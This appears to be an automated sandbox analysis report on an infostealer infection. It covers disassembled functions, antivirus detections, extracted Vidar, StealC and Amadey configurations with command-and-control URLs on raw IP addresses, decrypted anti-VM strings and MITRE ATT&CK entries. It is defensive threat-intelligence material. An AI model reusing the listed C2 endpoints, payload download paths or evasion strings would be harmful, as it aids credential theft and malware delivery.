Instruction Fuzzy Hash: 49F08770604251CADB1A8F2ADB89F9033F2AB47319F210E19C9040AA81D3756946CAAF

Function 6C606C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kcl,?,6C634B30,80000000,?,6C634AB7,?,6C5F43CF,?,6C5F42D2), ref: 6C606C42

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

moz_xmalloc.MOZGLUE(0Kcl,?,6C634B30,80000000,?,6C634AB7,?,6C5F43CF,?,6C5F42D2), ref: 6C606C58

Strings

0Kcl, xrefs: 6C606C33, 6C606C41, 6C606C57

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kcl
API String ID: 1967447596-2809417867
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 2a2afc2a9ea5e9cd0dc05f59da0f7059c75adf7a470bc7f77a360659ff1cafe9
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: ACE086F1B505055A9B0C997C9E0A56A72C89B153A87044A35EC23E6BC8FA94E5D0816E

Function 6C603850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C67F860), ref: 6C60385C
ReleaseSRWLockExclusive.KERNEL32(6C67F860,?), ref: 6C603871

Strings

,gl, xrefs: 6C60387A

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,gl
API String ID: 17069307-2366101372
Opcode ID: 559b8e3496612ae5bca25d6306e510ff67095af5ff254aed5cbf236d070f8192
Instruction ID: 24b891d54cdff3acf1b36bdc2206a1b95d95af661d2eaad4440b49d9263eb207
Opcode Fuzzy Hash: 559b8e3496612ae5bca25d6306e510ff67095af5ff254aed5cbf236d070f8192
Instruction Fuzzy Hash: 9DE0DF31A19A289B872A9F979545D8A3BB8FE437917044C55F42927A11D730D0408AFE

Function 6C60BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C60BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C60BEF5

Strings

cryptbase.dll, xrefs: 6C60BEF0

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: b5478b9462832c9bf082193f3073888290d0c568fbbd595b3ce4440e9144b27e
Instruction ID: bde5cf90a6e7b08173febbaa11c980b502006d19d98724cc45728873e42f9305
Opcode Fuzzy Hash: b5478b9462832c9bf082193f3073888290d0c568fbbd595b3ce4440e9144b27e
Instruction Fuzzy Hash: CBD023313C4208E7C709AB518D0DF69377497813A5F10C420F31554952C7F09413CF6C

Function 6C64B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B628

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C64B127,?,?,?,?,?,?,?,?), ref: 6C64B74D

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dcd24dc833db649096929021ceb599262ac5db911adf5ee92ed766146a5167d
Instruction ID: 639925f5e71829f1a687502708083c36fe715e52cd743d43863e141c3d1aeab9
Opcode Fuzzy Hash: 8dcd24dc833db649096929021ceb599262ac5db911adf5ee92ed766146a5167d
Instruction Fuzzy Hash: 7E51BF71A05A168FDB14CF18C9847AEB7B5FFC5308F55C52DC85AABB10DB31A804CBA9

Function 6C64DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C63FF2A), ref: 6C64DFFD

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C63FF2A), ref: 6C64E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C63FF2A), ref: 6C64E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C63FF2A), ref: 6C64E0FE

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0017eafe5c40ac1e3266dfda4826a40f53f1df39f464279979b4579af67d7833
Instruction ID: df914ade6e40803085c813ff3cb4bf45ed6c4654add7276e551fa5f7c785dec8
Opcode Fuzzy Hash: 0017eafe5c40ac1e3266dfda4826a40f53f1df39f464279979b4579af67d7833
Instruction Fuzzy Hash: 7641E471604216CFEB14CF98C88035AB7B6AB45709F14C939D526DB740E732E914CBDA

Function 6C646E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C646EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C646EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C646F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C646F5C

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0435e2144dcb32c2caac5c4a8d096ba227c30ca1066ce73e8d24587ca332f8ef
Instruction ID: aa2d8b5582d9b64729237693f140dbee15a7026ae36aec2578c4399e8cad8076
Opcode Fuzzy Hash: 0435e2144dcb32c2caac5c4a8d096ba227c30ca1066ce73e8d24587ca332f8ef
Instruction Fuzzy Hash: 2D31E371A1060A8FDB44CF2CC980AAE73FAEB85304F50C639D45AC7651EB32E659C7A4

Function 6C65B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C600A4D), ref: 6C65B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C600A4D), ref: 6C65B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C600A4D), ref: 6C65B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C600A4D), ref: 6C65B67F

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 076f0341def48c2856852323488a62df40f2416389f6e6b3ed81de3e98ec90ee
Instruction ID: c23b2672edeb622b8c6a9b748d6a43e3faaad7f54890abfe2f220f122e598986
Opcode Fuzzy Hash: 076f0341def48c2856852323488a62df40f2416389f6e6b3ed81de3e98ec90ee
Instruction Fuzzy Hash: 1331E671A012268FDB14CF59C88465EBBF5FFC1304FA68969C8069B381DB31E925CBE5

Function 6C62F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C62F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C62F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C62F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C62F668

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: d88d0c45e0c69dde644ed4b5e6c6c90efef5522fb6d1d90c653d7cabbef341a8
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 7F316F71A00624AFCB14CF1ECCC0E9B77B5EB94354B188538FA4A9BB04D636E9448B99

Function 6C6426B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6426C1
free.MOZGLUE(?), ref: 6C6426E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6426FF
free.MOZGLUE ref: 6C64270D

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: bf16d9187f49f53a42b334f696d146f08f7b52ea539854f7b31d3246b060455f
Instruction ID: 13c31a334c50f1af691b0acc2cd82d4188c51f604d78f7e48d683685b78cfcc5
Opcode Fuzzy Hash: bf16d9187f49f53a42b334f696d146f08f7b52ea539854f7b31d3246b060455f
Instruction Fuzzy Hash: 9BF0F9B2B012006BE7009A19D8C895BB7A9EF4135DB308035EA16C3B01E332F919C7AD

Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dllr	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll-y	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php3	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dlla	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/nss3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/skR	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exephprefoxx	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/920475a59bac849d.phpNu	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.phpRLH_	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exeData	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exea	Avira URL Cloud: Label: phishing
Source: http://85.28.47.4/69934896f997d5bb/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://85.28.47.4/69934896f997d5bb/freebl3.dllGy	Avira URL Cloud: Label: malware
Source: http://85.28.47.4	Avira URL Cloud: Label: malware
Source: 85.28.47.4/920475a59bac849d.php	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exerlencoded	Avira URL Cloud: Label: phishing

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.4/920475a59bac849d.php"}
Source: 19a0b0f0ae.exe.7640.12.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "85.28.47.4/920475a59bac849d.php"}
Source: explorti.exe.8172.8.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php"]}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected

Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetProcAddress
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: LoadLibraryA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: lstrcatA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: OpenEventA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: CreateEventA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: CloseHandle
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: Sleep
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: VirtualFree
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetSystemInfo
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: VirtualAlloc
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: HeapAlloc
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetComputerNameA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: lstrcpyA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetProcessHeap
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetCurrentProcess
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: lstrlenA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: ExitProcess
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetSystemTime
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: advapi32.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: gdi32.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: user32.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: crypt32.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: ntdll.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetUserNameA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: CreateDCA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetDeviceCaps
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: ReleaseDC
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: sscanf
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: VMwareVMware
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: HAL9TH
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: JohnDoe
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: DISPLAY
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: http://85.28.47.4
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: jony
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetFileAttributesA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GlobalLock
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: HeapFree
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetFileSize
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GlobalSize
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: IsWow64Process
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: Process32Next
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetLocalTime
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: FreeLibrary
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetVolumeInformationA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: Process32First
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetLocaleInfoA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetModuleFileNameA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: DeleteFileA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: FindNextFileA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: LocalFree
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: FindClose
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: LocalAlloc
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetFileSizeEx
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: ReadFile
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: SetFilePointer
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: WriteFile
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: CreateFileA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: FindFirstFileA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: CopyFileA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: VirtualProtect
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetLastError
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: lstrcpynA
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: MultiByteToWideChar
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GlobalFree
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: WideCharToMultiByte
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GlobalAlloc
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: OpenProcess
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: TerminateProcess
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: GetCurrentProcessId
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: gdiplus.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: ole32.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: bcrypt.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: wininet.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: shlwapi.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: shell32.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: psapi.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: rstrtmgr.dll
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: SelectObject
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: BitBlt
Source: 12.2.19a0b0f0ae.exe.8d0000.0.unpack	String decryptor: DeleteObject

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

